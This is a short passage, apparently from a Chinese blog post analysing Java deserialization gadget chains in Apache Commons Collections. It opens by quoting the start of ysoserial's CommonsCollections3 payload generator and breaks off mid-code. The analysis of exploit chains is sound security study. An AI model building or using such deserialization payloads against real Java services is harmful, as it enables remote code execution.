这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为cc1、3、5、6、7(common-collections3.1),cc2、4(common-collections4)。打开YsoSerialpayloadsCommonsCollections3源码:publicObjectgetObject(finalStringcommand)throwsException{ ObjecttemplatesImpl=Gadgets.createTemplatesImpl(command); //inertchainforsetup finalTr